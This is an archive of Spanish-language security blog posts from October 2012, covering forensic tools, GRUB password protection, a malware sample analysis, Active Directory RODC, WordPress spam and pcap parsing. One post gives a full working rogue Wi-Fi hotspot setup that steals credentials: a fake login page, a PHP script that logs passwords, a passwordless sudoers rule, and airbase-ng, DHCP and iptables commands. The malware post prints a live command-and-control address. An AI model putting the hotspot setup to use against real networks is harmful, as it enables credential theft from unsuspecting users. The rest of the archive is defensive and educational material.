31 oct 2012

Herramientas forense para ser un buen CSI. Parte XII: Windows Registry Recover

Buenas a todos, hoy continuaremos la cadena sobre análisis forense hablando sobre los procesos de extración de información del registro de Windows.

El registro de Windows se almacena en una serie de archivos protegidos (SAM, DEFAULT, SECURITY, SYSTEM, software, etc.) alojados en la carpeta Config, dentro de System32 .

Durante la extración de información de un disco clonado en un forense, necesitaremos en numerosas ocasiones extraer de estos archivos el registro de Windows para visualizar información que puede llegar a ser crucial en un proceso investigatorio. Para estos casos contamos con el potencial de la herramienta Windows Registry Recover (WRR, de MiTeC). Es gratuita y puede ser utilizada tanto para uso personal como comercial. Funciona en los siguientes sistemas:

  • Windows 2000
  • Windows XP
  • Windows 2003
  • Windows Vista
  • Windows 7
  • Windows Server 2008
  • Windows Server 2008 R2

Para cargar un archivo en la herramienta, como por ejemplo el archivo SAM, basta con acceder desde el menú File/Open. Una vez cargado podremos navegar desde el menú para extraer toda la información que la herramienta a parseado y clasificado para nosotros:

Por ejemplo, si cargamos el archivo "software", podremos visualizar la versión de Windows instalada, el propietario de la máquina, el product key, la fecha de instalación, etc:

Así como el software instalado en la máquina si accedemos al submenú "Installed software":

Es una herramienta de uso básico que nos puede ser muy útil en un proceso forense, únicamente hace falta "saber dónde localizar las evidencias" (que no es poco... :) )

Saludos!

30 oct 2012

Proteger el GRUB: GRUB II (Parte II de II)

La semana anterior hablamos de como proteger el GRUB en su versión 1. Se utilizaba una contraseña maestra para bloquear la ejecución de las entradas, o al menos una contraseña por línea. GRUB 2 es realmente mucho más flexible, ya que incorpora la posibilidad de utilizar dos roles de usuarios y con distintas características.

Roles

Se dispone de dos tipos de roles, uno es el rol de superusuario y otro el de usuario normal. Se puede definir un solo superusuario el cual dispondrá de permisos para acceder tanto a la edición de la línea del GRUB como a los sistemas operativos que se encuentran disponibles en el equipo. Para definir los usuarios debemos ir al fichero /etc/grub.d/40_custom, y como se puede visualizar en la siguiente imagen declarar los usuarios.

Para entender bien como se declaran los usuarios debemos entender lo siguiente:

  • Para declarar el superusuario se especifica el nombre con la orden set superusers="nombre_usuario". Para asignarle una contraseña se debe utilizar la directiva password o password_pbkdf2 si se utilizará un hash que evite la lectura en plano de la contraseña. Después de indicar la directiva se debe indicar a que usuario se asigna y por último la contraseña.
  • Los usuarios normales, que pueden ser más de uno, se especifican directamente con la contraseña. Se puede utilizar la directiva password o password_pbkdf2, dependiendo de si va en plano o con hash.
Para crear un hash pbkdf2 se utiliza la herramienta grub-mkpasswd-pbkfd2, como se puede visualizar en la siguiente imagen.

De esta manera, definiendo el superusuario tenemos protegida la edición de la línea de comandos del GRUB, por lo que no podrán levantar una shell de root a través de la línea de comandos del GRUB. Ahora vamos a ver como proteger el arranque de los sistemas operativos. Podemos especificar que usuarios pueden arrancar un sistema operativo en concreto, para ello debemos entender que existen unos archivos para cada tipo de sistema operativo. Nos puede interesar proteger Linux y Windows, pero no la aplicación de test de memoria RAM. El sistema operativo Linux y su entrada se configura en el fichero 10_Linux que se encuentra en la ruta /etc/grub.d. Mientras que Windows se prepara en el fichero 30_os-prober. Para protegerlos hay que editar el fichero y buscar la palabra "menuentry", como se puede visualizar en la siguiente imagen.

Como podéis ver no es difícil proteger el GRUB en sus distintas versiones. Es más flexible y potente el GRUB en su nueva versión, la gestión de usuarios le permite al administrador ofrecer una jerarquía de seguridad realmente interesante.

29 oct 2012

Infección de malware por correo electrónico por la entrega de un paquete

El título es bastante extenso pero básicamente se basa en eso, he recibido un correo electrónico el cual me comentan que me van a entregar un paquete, el correo tiene el siguiente aspecto:

Vaya, parece que me tienen que entregar un paquete.

Además viene con un fichero adjunto, al extraerlo, nos encontramos con un .exe. Si es que… los malos siempre haciendo estas cosas :P

Si le pegamos un vistazo al exe, obtenemos la siguiente información:

seifreed@darkmac:~/Desktop:python /Users/seifreed/tools/malware/peframe/peframe.py –auto FedEx_Label_ID_Order_83-27-4534US.exeFile Name: FedEx_Label_ID_Order_83-27-4534US.exeFile Size: 372736 byteCompile Time: 2012-06-13 21:41:18DLL: FalseSections: 4MD5 hash: 725ed35f2581eb3b07cb3d2846c46dd6SHA-1 hash: f44b5b3bc5705c508db1af48ace2bf19528a4cf4NoneAnti Debug: YesFile and URL:FILE: user32.dllFILE: KERNEL32.dllFILE: USER32.dllFILE: WINMM.dllURL: NoneSuspicious API Functions:Func. Name: GetModuleHandleAFunc. Name: VirtualAllocFunc. Name: GetProcAddressFunc. Name: GetStartupInfoAFunc. Name: GetCommandLineAFunc. Name: TerminateProcessFunc. Name: UnhandledExceptionFilterFunc. Name: GetModuleFileNameAFunc. Name: WriteFileFunc. Name: LoadLibraryAFunc. Name: LoadLibraryASuspicious API Anti-Debug:Anti Debug: TerminateProcessAnti Debug: UnhandledExceptionFilterSuspicious Sections:Sect. Name: .dataMD5 hash: 65a101d4156dd08f4e97f722d7439573SHA-1 hash: 489c6863ae751bb6f02769ae3841497b6be7d74e

Parece que el archivo se ha creado hace relativamente poco, además contiene funciones anti-debug.

Ejecuté el binario en máquina virtual con vmware fusion y empecé a capturar las conexiones con el cutre script :P

Se podía ver como el malware intenta conectarse a otro servidor:

Como no es tan cómodo como verlo en Wireshark, lo abriremos con él, después de revisar, vamos a ver a donde se conecta:

También se pueden extraer las URL guardadas del pcap con el parser de pcap:

seifreed@darkmac:~/Desktop:sudo python /Users/seifreed/tools/utils/Parse-pcap/parse_pcap.py malware.pcapPassword:Wed, Sep 19, 11:44:46 PMhttp://java.sun.com/update/1.5.0/map-1.5.0.xmlWed, Sep 19, 11:44:46 PMhttp://javadl-esd.sun.com/update/1.5.0/map-1.5.0.xmlWed, Sep 19, 11:44:47 PMhttp://java.sun.com/update/1.5.0/map-1.5.0.xmlWed, Sep 19, 11:44:47 PMhttp://javadl-esd.sun.com/update/1.5.0/map-1.5.0.xmlWed, Sep 19, 11:44:47 PMhttp://javadl-esd.sun.com/update/1.6.0/au-descriptor-1.6.0_35-b10.xmlWed, Sep 19, 11:45:30 PMhttp://116.255.235.9/api/urls/?ts=94d1a74c&affid=14433

En este caso no se ha podido seguir con el análisis de la muestra ya que el panel de control donde se conecta la muestra está caído.

Como tengo la IP donde se conecta, quise comprobar si esa IP estaba blacklisted:

La IP se encuentra en 5 listas blacklisted.

He subido el binario a Virus Total, así tenemos mas info sobre él:

Vaya, parece que también tiene un packer… interesante binario para realizar el análisis estático de la muestra mas tarde.

Por último el ratio de detección por parte de los antivirus han sido:

Es un ratio de detección muy alto.

Como véis de una manera muy rápida se ha podido hacer un análisis inicial de la muestra ;)

28 oct 2012

Informe Flu – 95

Comenzamos con el resumen de la semana:

Lunes 22 de OctubreMartes 23 de OctubreMiércoles 24 de OctubreJueves 25 de Octubre

Viernes 26 de Octubre

  • El viernes vuelve Jesusdml con un artículo sobre Wordpress y la seguridad: SPAM Masivo en WordPress. ¿Ya habéis adoptado medidas para paliar los problemas del SPAM?
Sábado 27 de Octubre
  • Ayer volvimos con una nueva entrega Flu a lo Jabalí. Esta vez le tocó el turno a RODC: Flu a lo Jabalí – RODC, ¡disfrutarlo!

27 oct 2012

Flu a lo Jabalí – RODC

Buenas a todos, hoy volvemos con una nueva entrada dedicada a los mejores artículos de nuestro blog amigo Seguridad Jabalí y en la que os traemos una cadena de posts que nos han gustado mucho sobre RODC (Controlador de Dominio de Solo Lectura)

RODC (I de III) Read Only Domain Controller

En el mundo empresarial la necesidad de mantener los distintos activos de la información y demás recursos accesibles en las distintas sucursales es algo habitual, en muchas ocasiones no hay equipos administrativos que gestionen adecuadamente esos recursos en la propia sucursal generando una situación que puede amenazar la seguridad de la estructura de la empresa.
Microsoft implementa desde Server 2008 un recurso para aliviar algunos de estos problemas, el Controlador de Dominio de Solo Lectura (RODC) que tiene una serie de características muy particulares.
El primer aspecto que debemos tener en cuenta a la hora de implementar un Controlador de Dominio en una sucursal es el riesgo al que está expuesta la información de esa máquina, credenciales y contraseñas de usuarios privilegiados, información del directorio activo, datos de la empresa, etc.
No tener instalado un controlador de dominio en algunas sucursales puede ser un gran inconveniente en muchas situaciones, dificultando o denegando el acceso a los recursos de la empresa si la línea de comunicación con la central deja de estar disponible.
El tercer elemento a tener en cuenta es la replicación de la información del propio directorio activo en un entorno poco confiable, imaginemos que un usuario de una sucursal, con pocos conocimientos técnicos, realiza un backup autoritativo que modifique de forma incorrecta el esquema de nuestra empresa, este cambio se replicaría por todos los controladores de dominio de la organización con el consiguiente perjuicio.
Cuando un usuario de la sucursal se conecta, el RODC recibe la solicitud y la envía a un controlador de dominio para la autenticación. Se puede configurar una directiva de replicación de contraseñas (PRP) que especifica las cuentas permitidas que el RODC almacena en caché. La próxima vez que la autenticación se solicita el RODC puede realizar la tarea a nivel local. Debido a que el RODC mantiene sólo un subconjunto de las credenciales de usuario, si el RODC se ve comprometido o es robado, el efecto de la exposición de la seguridad es limitado, además los controladores de dominio mantienen una lista de todas las credenciales almacenadas en la caché del RODC.
La replicación es unidireccional, ningún cambio en el RODC se replican en cualquier otro controlador de dominio, esto elimina la exposición del servicio de directorio a la corrupción resultante de los cambios realizados en una sucursal DC comprometida.
Los RODC, a diferencia de los DC, tienen un grupo de administradores local, pudiendo dar a uno o más miembros del personal local la capacidad de mantener un RODC plenamente, sin concederles la equivalencia de los administradores de dominio.
Los pasos generales para instalar un RODC son los siguientes:
  • Nivel funcional del bosque debe ser Windows Server 2003 o superior.
  • Si el bosque tiene algún DCs Windows Server 2003, ejecutar: adprep / Rodcprep.
  • Al menos un DC Windows Server 2008 o Windows Server 2008 R2.
  • Instalar el RODC. 

RODC (II de III) Directiva de Replicación de Contraseñas

La Directiva de replicación de contraseñas(PRP) determina las credenciales que tienen premitido almacenarse en la cache en un RODC específico.
Para facilitar la gestión de PRP, Windows Server 2008 R2 crea dos grupos de seguridad en el contenedor de usuarios de Active Directory. El primer grupo,Grupo de replicación de contraseña, se añade a la lista de permitidos de cada RODC nuevo. De forma predeterminada, el grupo no tiene miembros. Por lo tanto, por defecto, un RODC nuevo no tiene caché de ningún usuario.
El segundo grupo se denomina Grupo denegado RODC replicación de contraseñas. Los usuarios cuyas credenciales desea asegurar que nunca se almacenen en caché por el RODC deben estar en este grupo.
De forma predeterminada, este grupo contiene grupos de seguridad sensibles, incluidos Administradores de dominio, Administradores de organización y Propietarios del creador de directivas de grupo.
Se pueden agregar grupos, en cuyo caso todos los usuarios que pertenecen al grupo pueden tener su credenciales almacenadas o denegadas en el RODC.Si el usuario se encuentra tanto en la lista de autorizados y la lista de denegados, la lista denegados tiene prioridad.
Separación del rol administrativoEn las sucursales un RODC puede requerir mantenimiento, se puede gestionar la administración local a través de una característica llamada separación de funciones administrativas. Cada RODC mantiene una base de datos local de grupos específicos para fines administrativos. Usted puede agregar cuentas de usuario de dominio a estos roles locales para habilitar el soporte de un RODC specífico mediante el comando Dsmgmt.exe
Agregar un usuario como Administrador en un RODC:
  • 1. Abrir un Command Prompt en el RODC.
  • 2. Introducir el comando dsmgmt.
  • 3. Teclear local roles.
  • 4. Puedes ver la lista de comandos con el parametro ?.
  • 5. Teclea add [nombre de usuario] administrators.

RODC (III de III) Delegar la Administración

Antes de Finalizar con las opciones de administración orientadas a sucursales de empresa sin personal técnico quiero hablaros de otra opción disponible, que aunque no está dentro de las características de los Controladores de Solo Lectura es interesante conocer.
En Sistemas Microsoft podemos utilizar la delegación de privilegios para que ciertos usuarios o grupos de usuarios puedan realizar tareas dentro de la organización, por ejemplo utilizar directivas de grupos restringidos para gestionar la delegación de privilegios de administrador para los equipos:
  • Editor de administración de directivas de grupo desplazarse a...
  • Configuración del equipo\Directivas\Windows\Seguridad\Grupos restringidos.
  • En Grupos restringidos Agregar grupo.
  • Examinar, Seleccionar grupos, Nombre del grupo a agregar al grupo.
  • Aceptar para cerrar el cuadro de diálogo Agregar grupo.
  • En Propiedades, Añadir junto al grupo Este es un Miembro de la sección.
  • Tipo y haga clic en Aceptar.
  • Aceptar para cerrar el cuadro de diálogo Propiedades.
La delegación de los miembros del grupo de esta manera se suma el grupo especificado en el paso 3 para ese grupo. No se quitan los miembros existentes del grupo. Si varias GPO configuran diferentes directores de seguridad como los miembros del grupo, todos serán agregados al grupo.
 

26 oct 2012

SPAM Masivo en WordPress

captcha

Si hay una ley no escrita que se cumple una y otra vez es la siguiente: “Da igual a la velocidad a la que corra la rubia de la película. El malo siempre la coge”, otra muy parecida es que “Da igual la complejidad del CAPTCHA, los únicos a los que fastidias son a los usuarios buenos”.

Como ya comenté en una antigua entrada, el spam es uno de los más molestos efectos secundarios de activar los comentarios en las entradas. Por muy pocos comentarios que recibas, creo que siempre debes dar al menos la opción a réplica, a que alguien aporte un matiz sobre tu artículo enriqueciendo el conjunto o simplemente una oportunidad a aquellos enemigos absurdos a que te pongan algún que otro “bonito palabro”. No obstante, este pequeño espacio de libre expresión que suele acompañar los posts de los blogs, se convierte en foco de spammers desalmados de mal corazón, que lo usan para poner su tenderete de viagras, pasaportes falsos o artículos de diversa índole, al más puro estilo mantero. Estos comentarios con spam, repercuten negativamente en tu posicionamiento en google y dan un aspecto negativo de dejadez al blog.

[caption id="" align="aligncenter" width="300"]captcha ¿Prueba de alcoholemia encubierta?[/caption]

Una de las primeras medidas a la hora de intentar poner freno a esto, es activar algún plugin de CAPTCHA. No obstante, al final los spammers se saltan esta protección, bien aprovechando algún tipo de recoveco en el propio plugin, o mediante software especializado con capacidad OCR. A pesar de que esta es una web con poco tráfico, apenas unos cientos de visitas a la semana, los comentarios con SPAM alcanzaban cifras de hasta 60 mensajes diarios.

Buscando una solución a esto, he descubierto un plugin que usa una tecnología basada en la colaboración, que ya viene siendo usando por antivirus y programas de malware. Las dos semanas que lo llevo probando, ha sido capaz de reducir casi a la mínima expresión el SPAM recibido sin intervención alguna por mi parte.

El software en cuestión, es AVH First Defense Against Spam, hace uso de recursos gratuitos como SpamhausProject Honey PotStop Forum Spam para bloquear los mensajes indeseables tanto por dirección IP de origen, listas negras, características del mensaje, etc.

[caption id="" align="aligncenter" width="286"]Bloqueo de spam Gente a la que nunca invitaré a una copa :([/caption]

También cuenta con la posibilidad de crear una lista blanca para impedir que se puedan bloquear mensajes con origen en aquellas direcciones que sabemos que son seguras. En general, un plugin que nos ahorrará mucho trabajo moderando mensajes de spammers.

Un Saludo

jesusdml.es

25 oct 2012

Herramientas forense para ser un buen CSI. Parte XI: Hasheando por lavida

Buenas a todos, si hay algo importante durante un proceso forense es la cadena de custodia y la garantía de que las pruebas no han sido alteradas durante todo el proceso de análisis. Para esta labor se utilizan herramientas para calcular los hashes de las copias de los discos duros, imágenes dd, archivos, etc. para poder realizar posteriormente comprobaciones. Hoy os mostraré dos de las herramientas que más me gustan para el cálculo de hashes de archivos: Hashcalc y Hashmyfiles.

Hashcalc permite seleccionar varios algoritmos de hashing como podéis ver a continuación:


Su funcionamiento es muy básico, y basta con marcar los algoritmos a utilizar y pulsar en "Calculate":



Es importante destacar que el algoritmo MD5 se encuentra en desuso en el sector y no suele ser admitido en un proceso judicial, por lo que se recomienda el uso de otros algoritmos cómo SHA1.
Otra herramienta muy útil es Hashmyfiles. Su uso es tan básico como arrastrar un archivo sobre el cuadro principal y calcula automáticamente los siguientes hashes:


Existen muchas herramientas para cálculo de hashes y cada analista tendrá sus preferencias al respecto. ¿Cuáles utilizáis vosotros?
Saludos!

24 oct 2012

Crear un Hotspot con dudosas intenciones

En el post que nos ocupa se muestra como crear un hotspot con oscuros fines, es decir, se trata de simular, mediante software incluido en cualquier distribución de GNU/Linux, un punto de acceso protegido por contraseña. Estos puntos de acceso son utilizados por hoteles y cafeterías entre otros, de forma que solo los usuarios registrados tienen acceso a la red.

El post está estructurado en tres partes, una técnica de introducción, donde se comenta el funcionamiento, una práctica donde se configura el hotspot y una pequeña demostración, para ver como funciona.

Parte técnica:

Información de apoyo:• Iptables (general) => https://es.wikipedia.org/wiki/Netfilter/iptables• Tablas NAT Iptables => https://albertomolina.wordpress.com/2009/01/09/nat-con-iptables• Servidor Apache => https://es.wikipedia.org/wiki/Servidor_apache• Portal cautivo simple con Linux => http://castello.guifi.net/content/receta-para-montar-un-portal-cautivo-simple-con-linux

Este escenario visto desde el punto de vista de un atacante, alguien ajeno a la red e interesado en el acceso a ésta por motivos que no vienen al caso, sería interesante poder crear un punto de acceso que imitara al real permitiendo robar las credenciales de acceso del cliente a la red sin renunciar a ofrecerle una experiencia de navegación aceptable.

Para realizar la tarea propuesta, los únicos requisitos son un servidor web Apache con php instalado, un servidor DHCP, la herramienta airbase-ng y las siempre geniales posibilidades que nos ofrece Iptables. Todas estas herramientas se encuentran en la distribución Backtrack 5 R3, así que no debería de haber problemas de instalación en ninguna de ellas.

Antes de pasar a la parte práctica, es necesario entender como trabajaran todos los componentes comentados antes en conjunto:

El servidor web Apache, es el encargado de almacenar las páginas, tanto la de login como el script en php asociado a ésta. Para que el "hotspot casero" funcione correctamente, es necesario que "todas" las peticiones al servidor sean redirigidas al puerto donde está ejecutándose el servidor web (uno distinto del 80), de esta tarea se encarga iptables.

Entonces, según lo comentado, cualquier visita al portal cautivo llegará a la página de login. Una vez los datos han sido rellenados y enviados se ejecuta el script en php que añade una excepción al cortafuegos con la finalidad de no redirigir, desde ese momento las conexiones procedentes IP que se ha conectado, de forma que el usuario navegara con normalidad sin apreciar que está conectado una red poco confiable, como antes, de esto se encarga una regla de Iptables.

Respecto a la parte de la señal del hotspot, se utiliza como en otras ocasiones airbase-ng (utilidad perteneciente a la suite Aircrack-ng) para crear el punto de acceso. A esta herramienta le acompaña el servidor dhcp para que los usuarios tengan IP y unas reglas de iptables para permitir el acceso a la red.

Teniendo claros estos conceptos, ya es posible pasar a la parte de implementación o parte práctica.

Parte práctica:

El primer paso es crear la página básica de login. Si se intentase suplantar la de un hotel o similar se copiaría su contenido y modificaría el formulario de acceso.

#fichero index.html

<html><head></head><body><form action="log.php" method="post">Usuario:<input type="text" name="user" size="20" maxlength="20" /><br />Password:<input type="password" name="contra" size="10" maxlength="10" /><br /><input type="submit" value="Ingresar" /></form></body></html>

El script log.php asociado:

#fichero log.php<?php $f = fopen("datos", "a"); $usuario = "usuario -> " . $_POST["user"] . "\n"; fputs($f, $usuario); $pass = "password -> " . $_POST["contra"] . "\n\n-------------------------\n\n"; fputs($f, $pass); fclose($f); $ip = $_SERVER['REMOTE_ADDR']; $comando = "sudo -u root iptables -t nat -I PREROUTING -s $ip -p tcp --dport 80 -j ACCEPT"; exec($comando); header ("Location: https://www.google.com");?>

En el script tiene dos tareas. La primera es simplemente guarda los datos introducidos por el usuario en un fichero de texto en el directorio del servidor, mientras que la segunda es añadir la dirección IP del usuario al cortafuegos evitando así que sea redirigido y pueda navegar con normalidad.

Antes de continuar hay que crear el archivo datos y asignarle permisos para que se guarden en él las credenciales de "los visitantes":

touch /var/www/datoschmod 666 datos

El siguiente paso es editar un par de parámetros del servidor Apache. El primero es cambiar el puerto al que escucha el servidor (80 por defecto), mientras que el segundo cambio es añadir el directorio por defecto donde el servidor buscará las páginas (DocumentRoot):

#fichero /etc/apache2/ports.confListen 55555DocumentRoot /var/www/

Puesto que el servidor se ejecuta como usuario www-data y no puede ejecutar ordenes como root (por motivos de seguridad), le es imposible añadir reglas al cortafuegos. Para solucionar esto (hay más alternativas) de forma rápida (pero no la más segura) es posible añadir al fichero sudoers una regla para facilitar el trabajo. Para acceder a la configuración basta con escribir:

visudo

y añadir:

www-data bt=(root) NOPASSWD:/sbin/iptables

Con esto configurado ya puede ejecutarse el comando para iniciar el servicio perteneciente a Apache:

/etc/init.d/apache2 start

Con todos los cambios relativos al servidor Apache realizados se configura el servidor DHCP:

#fichero /etc/dhcp3/dhcpd.conf

authoritative;ddns-update-style none;default-lease-time 600;max-lease-time 7200;subnet 10.0.0.0 netmask 255.255.255.0{ range 10.0.0.2 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 8.8.8.8;}

Ya están todos los archivos correctamente editados, en los siguientes pasos solo resta aplicar determinadas reglas de iptables y lanzar el punto de acceso junto con el DHCP.

La primera regla a introducir es la que permite redirigir toda petición al servidor (providente de la subred del punto de acceso) con destino el puerto 80 al puerto 55555:iptables -t nat -A PREROUTING -s 10.0.0.0/24 -p tcp --dport 80 -j REDIRECT --to-ports 55555

Respecto al punto de acceso, los comandos ya son de sobra conocidos. El primer paso es poner la tarjeta en modo monitor, para ello:

airmon-ng wlan1 start

A continuación crear el punto de acceso de nombre "hotel":

airbase-ng -P -C 30 -c 6 -e hotel mon0

Activar la interfaz del AP y lanzar el servidor DHCP:

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

Habilitar IP forwarding:

echo 1 >/proc/sys/net/ipv4/ip_forward

Y por último mediante iptables redirigir el tráfico de los clientes del AP al equipo para que tengan acceso a Internet.

iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADEiptables -A INPUT -s 10.0.0.0/24 -i at0 -j ACCEPTiptables -A OUTPUT -d 10.0.0.0/24 -o at0 -j ACCEPT

Con todo este laborioso trabajo ya está listo el "hotspot casero" que permite que usuarios inocentes se conecten a un punto de acceso que ellos creen seguros, permitiendo ser víctimas del robo de credenciales, o con algunas pequeñas modificaciones, ataques como dns-spoofing y similares.

Como se ha comentado, no es la configuración idónea, pero es un "apaño" que permite que funcione correctamente y ver el alcance de este tipo de ataques.

[+] Demostración:

El hotspot funciona con iptables, concretamente con las tablas NAT y este es su estado inicial, una vez está configurado el portal:

iptables -t nat -L -n

Se observa una entrada que redirige las peticiones pertenecientes al protocolo tcp del puerto 80 al 55555.

Cuando un usuario intenta acceder a una de sus páginas se encuentra con la página de inicio del servidor:

 

Cuando se registre un usuario se observa la aparición de una nueva entrada que elimina la redirección para la ip 10.0.0.103:

Y también se observa el archivo "datos" con las credenciales almacenadas:

En fin, si habéis tenido aguante para llegar hasta aquí, nos leemos en breve ;)

Aetsu

23 oct 2012

Proteger el GRUB: GRUB I (Parte I de II)

¿Qué es GRUB? Para quienes no lo sepan, el GRUB es un gestor de arranque múltiple desarrollado por GNU. Este gestor de arranque permite disponer de uno o varios sistemas operativos y arrancarlos de manera sencilla. Se utiliza principalmente en sistemas operativos GNU/Linux, aunque existen sistemas operativos como Solaris que lo utilizan desde la versión 10 del sistema operativo.

En artículos como el de "sethc para GNU/Linux" en el que se puede aprender como levantar una sesión de root en una shell de linux si tenemos acceso físico al equipo, se deja en claro lo importante que es proteger el gestor de arranque. En la versión 1 de GRUB, existe un solo modo de protección y es colocar una contraseña universal tanto para el arranque de los sistemas operativos como para la edición del propio GRUB. Hay que recordar que el GRUB permite editar la línea o las líneas de arranque de sus entradas. ¿Cómo se hace esto? Generalmente, cuando arranca el GRUB y muestra el menú se puede editar las líneas que se ejecutar, es decir colocar el GRUB en modo edición, normalmente mediante el uso de la letra 'e' o 'a'. Aquí está el problema, cualquiera con acceso al equipo puede modificar las líneas de ejecución y arrancar una shell con privilegios de root.

La solución que proponemos es proteger mediante contraseña la ejecución de las entradas del GRUB, por lo que si pueden editar las líneas no podrán ejecutarlas por lo que no valdrá para mucho.

Configurando contraseña en el GRUB

El GRUB en su primera versión se aloja en la ruta /boot/grub. El fichero grub.conf aloja la configuración de las entradas, y es aquí donde se podrá alojar una contraseña. La contraseña, lógicamente, no se debe alojar en texto plano, por lo que habrá que utilizar alguna aplicación que nos genere un hash adecuado. Para ello lanzamos la aplicación grub en una shell, éste abre una nueva línea de comandos reducidos para el uso y edición del GRUB. Tener en cuenta que hay que ejecutarlo como root (o usuario con privilegio, por ejemplo sudoer).

Para generar el hash ejecutaremos el comando md5crypt. La aplicación nos pedirá un password, y hay que tener cuidado ya que solo lo pedirá una vez. Tras generar el hash, deberemos copiarlo para después colocarlo donde se debe.

Ahora nos toca editar el fichero /boot/grub/grub.conf para colocar el hash en las entradas que queramos proteger. De este modo, aunque editen las líneas en el GRUB, se pedirá una clave para proteger este arranque físico.

Verificación de resultados

A continuación se muestra la prueba de que el GRUB pedirá una clave para ejecutar una entrada de un sistema operativo.

Si la clave se introduce incorrectamente el resultado es el siguiente:

Si la clave se introduce correctamente el resultado es el siguiente:

En la próxima entrega veremos como proteger una versión 2 del gestor de arranque GRUB, el cual dispone de modificaciones muy interesantes que iremos destapando.

22 oct 2012

Análisis de malware en un entorno controlado, peticiones.

En el análisis de malware conviene muchas veces poder controlar las peticiones que vaya a realizar la muestra. Imaginaros que el malware en cuestión se trata de un troyano bancario, que lo que hace, es bajarse una configuración que, por ejemplo, afecta a una entidad bancaria en concreto.

Si lo que queremos es conseguir el mismo efecto y tenemos la configuración, pero el panel de control del malware se encuentra caído, no podremos analizar correctamente la muestra ya que el troyano no podrá bajarse la configuración. Es por eso que existen métodos para poder “engañar” a la muestra y servirles nosotros mismos la configuración. Para ello deberemos identificar primero que peticiones realiza la muestra para poder simularlas. Para recoger estas peticiones podemos hacer que una de nuestras máquinas internas pueda actuar como DNS resolver, para poder ver que peticiones realizan las máquinas o con un sniffer como Wireshark capturar dichas peticiones.

Con Wireshark se pueden capturar las peticiones o bien se puede configurar una máquina que actúe como DNS resolver y capturar dichas peticiones:

remnux@remnux: ~ $ sudo fakednsUsing default IP address in responses. To over-write, use a command line optionpyminifakeDNS:: dom.query. 60 IN A 192.168.1.1Respuesta: XXXXX.cu.cc. -> 192.168.1.1Respuesta: XXXXX.cu.cc. -> 192.168.1.1Respuesta: radXXX.info. -> 192.168.1.1Respuesta: XXXXX.cu.cc. -> 192.168.1.1Respuesta: radXXX.info. -> 192.168.1.1Respuesta: www.microsoft.com. -> 192.168.1.1Respuesta: XXXXX.cu.cc. -> 192.168.1.1Respuesta: XXXX.cu.cc. -> 192.168.1.1Respuesta: XXXX.cu.cc. -> 192.168.1.1Respuesta: radXXX.info. -> 192.168.1.1Respuesta: www.microsoft.com. -> 192.168.1.1Respuesta: java.sun.com. -> 192.168.1.1Respuesta: raXXX.info. -> 192.168.1.1Respuesta: www.microsoft.com. -> 192.168.1.1

Usando un fake DNS también capturamos las peticiones.

Ahora que ya tenemos los servidores a los que la muestra se va a conectar lo que tendremos que hacer es servirles nosotros mismos la configuración. Igual podemos llegar a pensar que es mu complejo llegar a saber hacer esto, pero ya veréis que es mas sencillo de lo que podéis llegar a pensar.

21 oct 2012

Informe Flu – 94

Comenzamos con el resumen de la semana:

Lunes 15 de OctubreMartes 16 de OctubreMiércoles 17 de OctubreJueves 18 de Octubre
  • Una semana más Marc nos trae un genial articulo, en este caso nos habla sobre el parseo de pcaps en: Parseando pcap.

Viernes 19 de Octubre

Sábado 20 de Octubre

20 oct 2012

Flu a lo Jabalí - RoboCopy

Semana dura para los chicos de Flu Project, dura pero gratificante al fin y al cabo, y es que después de un gran esfuerzo la satisfacción es enorme. En Seguridad a lo Jabalí nos traen un artículo más que interesante, como es la herramienta Robocopy. Unos ejemplos prácticos siempre son bienvenidos, pero queda bastante claro la sintaxis de la herramienta, y el uso de ésta. El objetivo es claro y conciso, ¿y tú la has probado?

Robocopy es uno de los comandos más poderosos de Windows. Permite copiar carpetas y directorios ya sea en una PC local o en la red. Tolera las interrupciones de copia, permite copiar grandes cantidades de archivos, copiado multihilo y mantiene las propiedades y atributos del archivo: datos del propietario, fechas y permisos.

Opciones de RoboCopy
  • /MT:n copias multiproceso, n especifica el nro de hilos, el valor predeterminado es 8.
  • /MOV Mueve archivos y los elimina del origen después de ser copiados.
  • /MOVE Mueve archivos y carpetas y los elimina del origen después de ser copiados.
  • /V Mostrar información detallada durante la copia.
  • /L Hace una simulación, solo mostrar no copia.
  • /FP Incluir ruta de acceso completa de los archivos en el resultado.
  • /NJH No muestra el encabezado en la consola.
  • /NJS No muestra el resumen final.
  • /Z Copia archivos en modo reiniciable. Escribirá un registro en el archivo incompleto en caso de que la operación se vea interrumpida, para que en otra ejecución de Robocopy pueda continuarse por donde se dejó.
Mas Información en ....
Seguridad a lo Jabalí para Todos!!

19 oct 2012

Samurai Web Testing Framework, otra imprescindible en auditoría de seguridad

Buenas a todos, hoy me gustaría hablaros de una distribucion de linux que puede seros de gran utilidad en los test de penetración a aplicativos web. Se trata de Samurai Web Testing Framework. Ésta distribución de Linux basada en Ubuntu se centra en los test de intrusión, a diferencia de otras como Backtrack que son más genéricas

samurai_2[1]

samurai1[1]

Como podéis ver en la captura anterior, Samurai contiene un listado bastante importante de herramientas libres destinadas a los penetration test hacia aplicaciones web.

Entre las herramientas mas destacadas que incluye se encuentran numerosas aplicaciones clásicas como Zenmap, la versión con interface gráfica de Nmap para el Fingerprint en busca de puertos abiertos y Sistemas Operativos, Maltego y Fierce domain Scanner, W3af, Paros, Nikto, WebScarab, Wapiti etc. Muchas de las cuales ya hemos analizado desde Flu Project.

Un aspecto que me pareció muy interesante es la inclusión de una wiki de serie para poder ir almacenando la información que se vaya obteniendo durante la auditoría.Si aún no la habéis probado, la podéis descargar desde aquí.Saludos!

18 oct 2012

Parseando pcap

Cuando usamos un analizador de paquetes para capturar las conexiones a veces es tedioso de mirar realmente que ha ocurrido con el tráfico.

Yo analizo pcaps sobretodo en los análisis de malware, y así soy capaz de ver donde se conecta una muestra en concreto.

Primero nos bajamos el pcap-parser:

seifreed@darkmac:~:git clone https://github.com/keithfancher/Parse-pcap.git

Este parser permite exportar los resultados a varios formatos:

python parse_pcap.py -husage: parse_pcap.py [-h] [-w] [-t] [-u] filenamepositional arguments:filename the pcap file to analyze and parseoptional arguments:-h, –help show this help message and exit-w, –output-html show output in HTML instead of plaintext-t, –get-titles fetch page titles; note that this can take a bit oftime!-u, –kill-untitled don’t return untitled pages in the output; this can bea good way to filter out “fake” requests and JS, CSS,etc.

Si por ejemplo, exportamos la salida en HTML

Aunque también podemos sacar los datos por consola:

